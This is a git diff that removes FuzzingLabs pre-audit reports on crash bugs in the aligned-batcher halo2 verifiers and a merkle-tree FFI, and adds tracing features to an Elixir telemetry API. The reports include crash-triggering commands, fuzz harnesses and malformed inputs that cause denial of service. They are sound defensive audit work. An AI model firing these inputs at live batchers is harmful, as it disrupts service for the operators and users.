**Permalink:** [GitHub Source](https://github.com/yetanotherco/aligned_layer/blob/81e1ae4ff6cdddca28808ac071d4b1ae72793346/batcher/aligned-batcher/src/halo2/ipa/mod.rs#L23) - -## Environment - -- **Distro Version:** 6.9.9-1-MANJARO -- **Additional Environment Details:** rustc 1.79.0-nightly (1cec373f6 2024-04-16) - -## Steps to Reproduce - -To demonstrate the issue, we provide a Proof of Concept (POC) to show that the bug can be triggered. - -1. Start the batcher: - - ```sh - make anvil_start_with_block_time - make batcher_start - ``` - -2. Trigger the bug with this command: - - ```sh - ./batcher/target/release/aligned submit --proving_system Halo2IPA --proof ./scripts/test_files/sp1/sp1_fibonacci.proof --public_input scripts/test_files/sp1/sp1_fibonacci.elf --vk scripts/test_files/sp1/sp1_fibonacci.elf - ``` - -## Root Cause Analysis - -The `verify_halo2_ipa` function is vulnerable because it does not verify the length of any field or arguments before manipulating arrays or slices. This oversight allows for potential out-of-bounds errors. - -Example: - -```rust -... -let cs_len_buf: [u8; 4] = verification_key[..4]; -... -cs_buffer[..cs_len].clone_from_slice(&verification_key[cs_offset..(cs_offset + cs_len)]); -... -vk_buffer[..vk_len].clone_from_slice(&verification_key[vk_offset..(vk_offset + vk_len)]); -... -and more - -``` - -Here is a small harness that can help you trigger all the crashes in this function. - -```rust -extern crate honggfuzz; - -use aligned_batcher::halo2::ipa::verify_halo2_ipa; -use arbitrary::Arbitrary; - -#[derive(Arbitrary, Debug)] -struct InputData { - proof: Vec, - public_input: Vec, - verification_key: Vec, -} - -fn main() { - loop { - honggfuzz::fuzz!(|data: &[u8]| { - if let Ok(input) = InputData::arbitrary(&mut arbitrary::Unstructured::new(data)) { - let _ = - verify_halo2_ipa(&input.proof, &input.public_input, &input.verification_key); - } - }); - } -} - -``` - -Create the file under `batcher/aligned-batcher/src/fuzzing/verify_halo2_ipa_fuzz.rs` - -Update the `cargo.toml` with: - -```sh -[dependencies] -... -honggfuzz = "*" -arbitrary = {version = "1.0", features = ["derive"]} -... - -[[bin]] -name ="verify_halo2_ipa_fuzz" -path = "src/fuzzing/verify_halo2_ipa_fuzz.rs" -``` - -Run it with: - -```sh -cargo hfuzz run verify_halo2_ipa_fuzz - -``` - -## Detailed Behavior - -```sh -... -... -[2024-08-01T11:55:40Z DEBUG hyper::client::pool] pooling idle connection for ("http", localhost:8545) -thread 'tokio-runtime-worker' panicked at aligned-batcher/src/halo2/ipa/mod.rs:31:14: -range end index 1179403647 out of range for slice of length 2048 -note: run with `RUST_BACKTRACE=1` environment variable to display a back -... -... - -``` - -## Recommendations -Implement strict input validation to ensure all input fields are of expected size before processing. diff --git a/pre_audits/fuzzing_labs/verify_halo2_kzg.md b/pre_audits/fuzzing_labs/verify_halo2_kzg.md deleted file mode 100644 index 96e4ad58a..000000000 --- a/pre_audits/fuzzing_labs/verify_halo2_kzg.md +++ /dev/null @@ -1,123 +0,0 @@ -# Multiple OOB in aligned-batcher halo2_kzg verification - -**Author(s):** Nabih Benazzouz [@Fuzzinglabs](https://github.com/FuzzingLabs/) - -**Date:** 09/08/2024 - -## **Executive Summary** - -While auditing and fuzzing some verification functions, we discovered that the `verify_halo2_kzg` function manipulates arrays without performing size verification. For instance, it uses the code snippet `let cs_len_buf: [u8; 4] = verification_key[..4]` without checking the size of the array. - -## Vulnerability Details - -- **Severity:** High - -- **Affected Component:** batcher/aligned-batcher - -## Environment - -- **Distro Version:** 6.9.9-1-MANJARO -- **Additional Environment Details:** rustc 1.79.0-nightly (1cec373f6 2024-04-16) - -## Steps to Reproduce - -To demonstrate the issue, we provide a Proof of Concept (POC) to show that the bug can be triggered. - -1. Start the batcher: - - ```sh - make anvil_start_with_block_time - make batcher_start - ``` - -2. Trigger the bug with this command: - - ```sh - ./batcher/target/release/aligned submit --proving_system Halo2KZG --proof ./scripts/test_files/sp1/sp1_fibonacci.proof --public_input scripts/test_files/sp1/sp1_fibonacci.elf --vk scripts/test_files/sp1/sp1_fibonacci.elf - ``` - -## Root Cause Analysis - -The `verify_halo2_kzg` function is vulnerable because it does not verify the length of any field or arguments before manipulating arrays or slices. This oversight allows for potential out-of-bounds errors. - -Example: - -```rust -... -let cs_len_buf: [u8; 4] = verification_key[..4]; -... -cs_buffer[..cs_len].clone_from_slice(&verification_key[cs_offset..(cs_offset + cs_len)]); -... -vk_buffer[..vk_len].clone_from_slice(&verification_key[vk_offset..(vk_offset + vk_len)]); -... -and more - -``` - -Here is a small harness that can help you trigger all the crashes in this function. - -```rust -extern crate honggfuzz; - -use aligned_batcher::halo2::kzg::verify_halo2_kzg; -use arbitrary::Arbitrary; - -#[derive(Arbitrary, Debug)] -struct InputData { - proof: Vec, - public_input: Vec, - verification_key: Vec, -} - -fn main() { - loop { - honggfuzz::fuzz!(|data: &[u8]| { - if let Ok(input) = InputData::arbitrary(&mut arbitrary::Unstructured::new(data)) { - let _ = - verify_halo2_kzg(&input.proof, &input.public_input, &input.verification_key); - } - }); - } -} - -``` - -Create the file under `batcher/aligned-batcher/src/fuzzing/verify_halo2_kzg_fuzz.rs` - -Update the `cargo.toml` with: - -```sh -[dependencies] -... -honggfuzz = "*" -arbitrary = {version = "1.0", features = ["derive"]} -... - -[[bin]] -name ="verify_halo2_kzg_fuzz" -path = "src/fuzzing/verify_halo2_kzg_fuzz.rs" -``` - -Run it with: - -```sh -cargo hfuzz run verify_halo2_kzg_fuzz - -``` - -## Detailed Behavior - -```sh -... -... -[2024-08-01T11:55:40Z DEBUG hyper::client::pool] pooling idle connection for ("http", localhost:8545) -thread 'tokio-runtime-worker' panicked at aligned-batcher/src/halo2/....: -range end index 1179403647 out of range for slice of length 2048 -note: run with `RUST_BACKTRACE=1` environment variable to display a back -... -... - -``` - -## Recommendations -Implement strict input validation to ensure all input fields are of expected size before processing. diff --git a/pre_audits/fuzzing_labs/verify_merkle_tree_panic.md b/pre_audits/fuzzing_labs/verify_merkle_tree_panic.md deleted file mode 100644 index be0c7d585..000000000 --- a/pre_audits/fuzzing_labs/verify_merkle_tree_panic.md +++ /dev/null @@ -1,101 +0,0 @@ -# `verify_merkle_tree_batch_ffi` can panic - -**Author(s):** Mohammed Benhelli [@Fuzzinglabs](https://github.com/FuzzingLabs/) - -**Date:** 01/08/2024 - -### **Executive summary** - -During the process of auditing the code and developing fuzzing harnesses, we found that a malformed JSON input can -cause the `verify_merkle_tree_batch_ffi` to panic due to a subtract with overflow. This can be triggered by an attacker -to cause a denial of service. - -### Vulnerability Details - -- **Severity:** Medium -- **Affected Component:** `operator/merkle_tree/lib/src/lib.rs` - - -## Environment - -- **Distro Version:** Ubuntu 22.04.4 LTS -- **Additional Environment Details:** rustc 1.81.0-nightly (24d2ac0b5 2024-07-15) - -## Steps to Reproduce - -To demonstrate the issue, we provide a Proof of Concept (POC) to show that the bug can be triggered. - -1. Add this test to `operator/merkle_tree/lib/src/lib.rs`: - ```rust - #[test] - fn test_panic_verify_merkle_tree_batch_ffi() { - let path = "./test_files/panic-sp1-proof.json"; - - let mut file = File::open(path).unwrap(); - - let mut bytes_vec = Vec::new(); - file.read_to_end(&mut bytes_vec).unwrap(); - - let mut merkle_root = [0; 32]; - merkle_root.copy_from_slice(&hex::decode("5ba2f046e3c1072b96f55728a67d73b4e246a6c27960b0c52d7fafb77981bcb0").unwrap()); - - let result = verify_merkle_tree_batch_ffi(bytes_vec.as_ptr(), bytes_vec.len(), &merkle_root); - } - ``` -2. Create a malformed JSON file `operator/merkle_tree/lib/src/test_files/panic-sp1-proof.json`: - ```json - [ - { - "proving_system": "SP1", - "proof": [0], - "pub_input": null, - "verification_key": null, - "vm_program_code": null, - "proof_generator_addr": "0x66f9664f97f2b50f62d13ea064982f936de76657" - } - ] - ``` -3. Run the test: - ```sh - cd operator/merkle_tree/lib - cargo test - ``` - -## Root Cause Analysis - -The root cause is located in `lambdaworks-crypto-0.7.0\src\merkle_tree\utils.rs:63`. - -```rust -... -// ! CAUTION ! -// Make sure n=nodes.len()+1 is a power of two, and the last n/2 elements (leaves) are populated with hashes. -// This function takes no precautions for other cases. -pub fn build(nodes: &mut [B::Node], leaves_len: usize) -where - B::Node: Clone, -{ - let mut level_begin_index = leaves_len - 1; - ... - level_end_index = level_begin_index - 1; - ... -} -``` - -If the `leaves_len` is 1, the `level_begin_index` will be set to `0` which will cause the panic when trying to subtract -1 from it since it's an unsigned integer. - -## Detailed Behavior - -```sh -... -... -attempt to subtract with overflow -thread 'tests::test_panic_verify_merkle_tree_batch_ffi' panicked at .cargo/registry/src/index.crates.io-6f17d22bba15001f/lambdaworks-crypto-0.7.0/src/merkle_tree/utils.rs:63:27: -... -... - -``` - -## Recommendations - -- Input Validation: Ensure that the `proof` field in the JSON input is properly validated before processing it. \ No newline at end of file diff --git a/scripts/test_files/gnark_groth16_bn254_infinite_script/cmd/main.go b/scripts/test_files/gnark_groth16_bn254_infinite_script/cmd/main.go index d57423a8b..74c5cb0fe 100644 --- a/scripts/test_files/gnark_groth16_bn254_infinite_script/cmd/main.go +++ b/scripts/test_files/gnark_groth16_bn254_infinite_script/cmd/main.go @@ -1,16 +1,22 @@ package main import ( - "github.com/yetanotherco/aligned_layer/scripts/test_files/gnark_groth16_bn254_infinite_script/pkg" "os" "strconv" + + "github.com/yetanotherco/aligned_layer/scripts/test_files/gnark_groth16_bn254_infinite_script/pkg" ) func main() { x, err := strconv.Atoi(os.Args[1]) + outputDir := "../../scripts/test_files/gnark_groth16_bn254_infinite_script/infinite_proofs/" + + if len(os.Args) > 2 { + outputDir = os.Args[2] + } if err != nil { panic("error parsing input") } - pkg.GenerateIneqProof(x) + pkg.GenerateIneqProof(x, outputDir) } diff --git a/scripts/test_files/gnark_groth16_bn254_infinite_script/pkg/generate_proof.go b/scripts/test_files/gnark_groth16_bn254_infinite_script/pkg/generate_proof.go index cad8d9c2d..8ae0d6bb5 100644 --- a/scripts/test_files/gnark_groth16_bn254_infinite_script/pkg/generate_proof.go +++ b/scripts/test_files/gnark_groth16_bn254_infinite_script/pkg/generate_proof.go @@ -1,7 +1,6 @@ package pkg import ( - "fmt" "log" "os" "strconv" @@ -25,9 +24,7 @@ func (circuit *InequalityCircuit) Define(api frontend.API) error { return nil } -func GenerateIneqProof(x int) { - outputDir := "scripts/test_files/gnark_groth16_bn254_infinite_script/infinite_proofs/" - +func GenerateIneqProof(x int, outputDir string) { var circuit InequalityCircuit ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, &circuit) if err != nil { @@ -86,8 +83,4 @@ func GenerateIneqProof(x int) { if err != nil { panic("could not serialize proof into file") } - - fmt.Printf("Proof written into ineq_%d_groth16.proof\n", x) - fmt.Printf("Verification key written into ineq_%d_groth16.vk\n", x) - fmt.Printf("Public witness written into ineq_%d_groth16.pub\n", x) } diff --git a/telemetry_api/lib/telemetry_api/traces.ex b/telemetry_api/lib/telemetry_api/traces.ex index 8182892c6..e611f386a 100644 --- a/telemetry_api/lib/telemetry_api/traces.ex +++ b/telemetry_api/lib/telemetry_api/traces.ex @@ -23,31 +23,29 @@ defmodule TelemetryApi.Traces do :ok """ def create_task_trace(merkle_root) do - # Get total stake - with {:ok, total_stake} <- StakeRegistry.get_current_total_stake() do - span_ctx = - Tracer.start_span( - "Task: #{merkle_root}", - %{ - attributes: [ - {:merkle_root, merkle_root}, - {:total_stake, total_stake} - ] - } - ) - - ctx = Ctx.get_current() - - TraceStore.store_trace(merkle_root, %Trace{ - parent_span: span_ctx, - context: ctx, - total_stake: total_stake, - current_stake: 0, - responses: [] - }) - - IO.inspect("New task trace with merkle_root: #{IO.inspect(merkle_root)}") - :ok + with {:ok, trace} <- set_current_trace(merkle_root) do + with {:ok, total_stake} <- StakeRegistry.get_current_total_stake() do + aggregator_subspan_ctx = + Tracer.start_span( + "Aggregator", + %{ + attributes: [ + {:merkle_root, merkle_root}, + {:total_stake, total_stake} + ] + } + ) + + Tracer.set_current_span(aggregator_subspan_ctx) + Tracer.add_event("New task event received", []) + + TraceStore.store_trace(merkle_root, %{ + trace + | subspans: Map.put(trace.subspans, :aggregator, aggregator_subspan_ctx) + }) + + :ok + end end end @@ -63,8 +61,8 @@ defmodule TelemetryApi.Traces do """ def register_operator_response(merkle_root, operator_id) do with {:ok, operator} <- Operators.get_operator(%{id: operator_id}), - :ok <- validate_operator_registration(operator), - {:ok, trace} <- set_current_trace(merkle_root) do + :ok <- validate_operator_registration(operator), + {:ok, trace} <- set_current_trace_with_subspan(merkle_root, :aggregator) do operator_stake = Decimal.new(operator.stake) new_stake = Decimal.add(trace.current_stake, operator_stake) new_stake_fraction = Decimal.div(new_stake, trace.total_stake) @@ -100,6 +98,165 @@ defmodule TelemetryApi.Traces do end end + @doc """ + Registers the failure creating a batcher task in the task trace. + + ## Examples + + iex> merkle_root + iex> error + iex> batcher_task_creation_failed(merkle_root, error) + :ok + """ + def batcher_task_creation_failed(merkle_root, error) do + with {:ok, trace} <- set_current_trace_with_subspan(merkle_root, :batcher) do + Tracer.add_event( + "Batcher Task Creation Failed", + [ + {:error, error} + ] + ) + + Tracer.end_span() + + TraceStore.store_trace(merkle_root, %{ + trace + | subspans: Map.delete(trace.subspans, :batcher) + }) + + with {:ok, _trace} <- set_current_trace(merkle_root) do + Tracer.end_span() + TraceStore.delete_trace(merkle_root) + end + + :ok + end + end + + @doc """ + Create a new task trace for the batcher and starts the subspan for the batcher. + + ## Examples + + iex> merkle_root + iex> create_batcher_task_trace(merkle_root) + :ok + """ + def create_batcher_task_trace(merkle_root) do + root_span_ctx = + Tracer.start_span( + "Task: #{merkle_root}", + %{ + attributes: [ + {:merkle_root, merkle_root} + ] + } + ) + + {:ok, total_stake} = StakeRegistry.get_current_total_stake() + ctx = Ctx.get_current() + + TraceStore.store_trace(merkle_root, %Trace{ + parent_span: root_span_ctx, + context: ctx, + total_stake: total_stake, + current_stake: 0, + responses: [], + subspans: %{} + }) + + with {:ok, trace} <- set_current_trace(merkle_root) do + # This span ends inmediately after it's created just to set the correct title to the final task. + Tracer.with_span "Task: #{merkle_root}" do + Tracer.set_attributes(%{merkle_root: merkle_root}) + end + + batcher_subspan_ctx = + Tracer.start_span( + "Batcher", + %{ + attributes: [ + {:merkle_root, merkle_root} + ] + } + ) + + Tracer.set_current_span(batcher_subspan_ctx) + Tracer.add_event("New batch", [{:merkle_root, merkle_root}]) + + TraceStore.store_trace(merkle_root, %{ + trace + | subspans: Map.put(trace.subspans, :batcher, batcher_subspan_ctx) + }) + + :ok + end + end + + @doc """ + Registers the uploading of a batcher task to S3 in the task trace. + + ## Examples + + iex> merkle_root + iex> batcher_task_uploaded_to_s3(merkle_root) + :ok + """ + def batcher_task_uploaded_to_s3(merkle_root) do + with {:ok, _trace} <- set_current_trace_with_subspan(merkle_root, :batcher) do + Tracer.add_event("Batcher Task Uploaded to S3", []) + :ok + end + end + + + @doc """ + Registers the sending of a batcher task to Ethereum in the task trace. + + ## Examples + + iex> merkle_root + iex> tx_hash + iex> batcher_task_sent(merkle_root, tx_hash) + :ok + """ + def batcher_task_sent(merkle_root, tx_hash) do + with {:ok, trace} <- set_current_trace_with_subspan(merkle_root, :batcher) do + Tracer.add_event("Batcher Task Sent to Ethereum", [{"tx_hash", tx_hash}]) + + Tracer.end_span() + + TraceStore.store_trace(merkle_root, %{ + trace + | subspans: Map.delete(trace.subspans, :batcher) + }) + + :ok + end + end + + @doc """ + Registers the start of the creation of a batcher task in the task trace. + + ## Examples + + iex> merkle_root + iex> batcher_task_started(merkle_root) + :ok + """ + def batcher_task_started(merkle_root, fee_per_proof, total_proofs) do + with {:ok, _trace} <- set_current_trace_with_subspan(merkle_root, :batcher) do + IO.inspect("fee_per_proof: #{fee_per_proof}") + + Tracer.add_event("Batcher Task being created", + fee_per_proof: fee_per_proof, + total_proofs: total_proofs + ) + + :ok + end + end + @doc """ Registers a reached quorum in the task trace. @@ -110,7 +267,7 @@ defmodule TelemetryApi.Traces do :ok """ def quorum_reached(merkle_root) do - with {:ok, _trace} <- set_current_trace(merkle_root) do + with {:ok, _trace} <- set_current_trace_with_subspan(merkle_root, :aggregator) do Tracer.add_event("Quorum Reached", []) IO.inspect("Reached quorum registered. merkle_root: #{merkle_root}") :ok @@ -128,7 +285,7 @@ defmodule TelemetryApi.Traces do :ok """ def task_error(merkle_root, error) do - with {:ok, _trace} <- set_current_trace(merkle_root) do + with {:ok, _trace} <- set_current_trace_with_subspan(merkle_root, :aggregator) do Tracer.add_event( "Batch verification failed", [ @@ -141,6 +298,40 @@ defmodule TelemetryApi.Traces do :ok end end + + @doc """ + Registers a bump in the gas price when the aggregator tries to respond to a task in the task trace. + + ## Examples + + iex> merkle_root + iex> bumped_gas_price + iex> aggregator_task_gas_price_bumped(merkle_root, bumped_gas_price) + :ok + """ + def aggregator_task_gas_price_bumped(merkle_root, bumped_gas_price) do + with {:ok, _trace} <- set_current_trace_with_subspan(merkle_root, :aggregator) do + Tracer.add_event("Task gas price bumped", [{"bumped__gas_price", bumped_gas_price}]) + :ok + end + end + + @doc """ + Registers the sending of an aggregator task to Ethereum in the task trace. + + ## Examples + + iex> merkle_root + iex> tx_hash + iex> aggregator_task_sent(merkle_root, tx_hash) + :ok + """ + def aggregator_task_sent(merkle_root, tx_hash) do + with {:ok, _trace} <- set_current_trace_with_subspan(merkle_root, :aggregator) do + Tracer.add_event("Task Sent to Ethereum", [{"tx_hash", tx_hash}]) + :ok + end + end @doc """ Finish the task trace @@ -154,18 +345,21 @@ defmodule TelemetryApi.Traces do :ok """ def finish_task_trace(merkle_root) do - with {:ok, trace} <- set_current_trace(merkle_root) do + with {:ok, trace} <- set_current_trace_with_subspan(merkle_root, :aggregator) do missing_operators = - Operators.list_operators() |> Enum.filter(fn o -> o.id not in trace.responses and Operators.is_registered?(o) end) + Operators.list_operators() + |> Enum.filter(fn o -> o.id not in trace.responses and Operators.is_registered?(o) end) add_missing_operators(missing_operators) - Tracer.set_attributes(%{status: "completed"}) - Tracer.end_span() + with {:ok, _trace} <- set_current_trace(merkle_root) do + Tracer.end_span() + TraceStore.delete_trace(merkle_root) + end + # Clean up the context from the Agent - TraceStore.delete_trace(merkle_root) IO.inspect("Finished task trace with merkle_root: #{merkle_root}.") :ok end @@ -188,6 +382,14 @@ defmodule TelemetryApi.Traces do end end + defp set_current_trace_with_subspan(merkle_root, span_name) do + with {:ok, trace} <- TraceStore.get_trace(merkle_root) do + Ctx.attach(trace.context) + Tracer.set_current_span(trace.subspans[span_name]) + {:ok, trace} + end + end + defp validate_operator_registration(operator) do if Operators.is_registered?(operator) do :ok diff --git a/telemetry_api/lib/telemetry_api/traces/trace.ex b/telemetry_api/lib/telemetry_api/traces/trace.ex index cabad1b41..9e074d289 100644 --- a/telemetry_api/lib/telemetry_api/traces/trace.ex +++ b/telemetry_api/lib/telemetry_api/traces/trace.ex @@ -1,4 +1,4 @@ defmodule TelemetryApi.Traces.Trace do - @enforce_keys [:parent_span, :context, :total_stake, :current_stake, :responses] - defstruct [:parent_span, :context, :total_stake, :current_stake, :responses] + @enforce_keys [:parent_span, :context, :total_stake, :current_stake, :responses, :subspans] + defstruct [:parent_span, :context, :total_stake, :current_stake, :responses, :subspans] end diff --git a/telemetry_api/lib/telemetry_api_web/controllers/trace_controller.ex b/telemetry_api/lib/telemetry_api_web/controllers/trace_controller.ex index 6e72237ea..b9e334652 100644 --- a/telemetry_api/lib/telemetry_api_web/controllers/trace_controller.ex +++ b/telemetry_api/lib/telemetry_api_web/controllers/trace_controller.ex @@ -3,7 +3,7 @@ defmodule TelemetryApiWeb.TraceController do alias TelemetryApi.Traces - action_fallback TelemetryApiWeb.FallbackController + action_fallback(TelemetryApiWeb.FallbackController) @doc """ Create a trace for a NewTask with the given merkle_root @@ -11,12 +11,78 @@ defmodule TelemetryApiWeb.TraceController do """ def create_task_trace(conn, %{"merkle_root" => merkle_root}) do with :ok <- Traces.create_task_trace(merkle_root) do + conn + |> put_status(:ok) + |> render(:show_merkle, merkle_root: merkle_root) + end + end + + @doc """ + Register a batcher task sent to Ethereum in the trace of the given merkle_root + Method: POST batcherTaskSent + """ + def batcher_task_sent(conn, %{"merkle_root" => merkle_root, "tx_hash" => tx_hash}) do + with :ok <- Traces.batcher_task_sent(merkle_root, tx_hash) do + conn + |> put_status(:ok) + |> render(:show_merkle, merkle_root: merkle_root) + end + end + + @doc """ + Register a batcher task uploaded to S3 in the trace of the given merkle_root + Method: POST batcherTaskUploadedToS3 + """ + def batcher_task_uploaded_to_s3(conn, %{"merkle_root" => merkle_root}) do + with :ok <- Traces.batcher_task_uploaded_to_s3(merkle_root) do + conn + |> put_status(:ok) + |> render(:show_merkle, merkle_root: merkle_root) + end + end + + @doc """ + Register a batcher task started in the trace of the given merkle_root + Method: POST batcherTaskStarted + """ + def batcher_task_started(conn, %{ + "merkle_root" => merkle_root, + "fee_per_proof" => fee_per_proof, + "num_proofs_in_batch" => total_proofs + }) do + with :ok <- Traces.batcher_task_started(merkle_root, fee_per_proof, total_proofs) do + conn + |> put_status(:ok) + |> render(:show_merkle, merkle_root: merkle_root) + end + end + + @doc """ + Create a trace for a new batcher task with the given merkle_root + Method: POST initBatcherTaskTrace + """ + def create_batcher_task_trace(conn, %{ + "merkle_root" => merkle_root + }) do + with :ok <- Traces.create_batcher_task_trace(merkle_root) do conn |> put_status(:created) |> render(:show_merkle, merkle_root: merkle_root) end end + @doc """ + Register a batcher task creation error in the trace of the given merkle_root + Method: POST batcherTaskCreationFailed + """ + def batcher_task_creation_failed(conn, %{"merkle_root" => merkle_root, "error" => error}) do + with :ok <- Traces.batcher_task_creation_failed(merkle_root, error) do + conn + |> put_status(:ok) + |> render(:show_merkle, merkle_root: merkle_root) + end + end + @doc """ Register an operator response in the trace of the given merkle_root Method: POST operatorResponse @@ -56,6 +122,33 @@ defmodule TelemetryApiWeb.TraceController do end end + @doc """ + Registers a gas price bump in the trace of the given merkle_root + Method: POST aggregatorTaskGasPriceBump + """ + def aggregator_task_gas_price_bumped(conn, %{ + "merkle_root" => merkle_root, + "bumped_gas_price" => bumped_gas_price + }) do + with :ok <- Traces.aggregator_task_gas_price_bumped(merkle_root, bumped_gas_price) do + conn + |> put_status(:ok) + |> render(:show_merkle, merkle_root: merkle_root) + end + end + + @doc """ + Register a task sent, from the aggregator, to Ethereum in the trace of the given merkle_root + Method: POST aggregatorTaskSent + """ + def aggregator_task_sent(conn, %{"merkle_root" => merkle_root, "tx_hash" => tx_hash}) do + with :ok <- Traces.aggregator_task_sent(merkle_root, tx_hash) do + conn + |> put_status(:ok) + |> render(:show_merkle, merkle_root: merkle_root) + end + end + @doc """ Finish a trace for the given merkle_root Method: POST finishTaskTrace diff --git a/telemetry_api/lib/telemetry_api_web/router.ex b/telemetry_api/lib/telemetry_api_web/router.ex index a919fd301..200e6c94f 100644 --- a/telemetry_api/lib/telemetry_api_web/router.ex +++ b/telemetry_api/lib/telemetry_api_web/router.ex @@ -15,7 +15,15 @@ defmodule TelemetryApiWeb.Router do post "/operatorResponse", TraceController, :register_operator_response post "/quorumReached", TraceController, :quorum_reached post "/taskError", TraceController, :task_error + post "/aggregatorTaskGasPriceBump", TraceController, :aggregator_task_gas_price_bumped + post "/aggregatorTaskSent", TraceController, :aggregator_task_sent post "/finishTaskTrace", TraceController, :finish_task_trace + + post "/initBatcherTaskTrace", TraceController, :create_batcher_task_trace + post "/batcherTaskUploadedToS3", TraceController, :batcher_task_uploaded_to_s3 + post "/batcherTaskStarted", TraceController, :batcher_task_started + post "/batcherTaskSent", TraceController, :batcher_task_sent + post "/batcherTaskCreationFailed", TraceController, :batcher_task_creation_failed end scope "/versions", TelemetryApiWeb do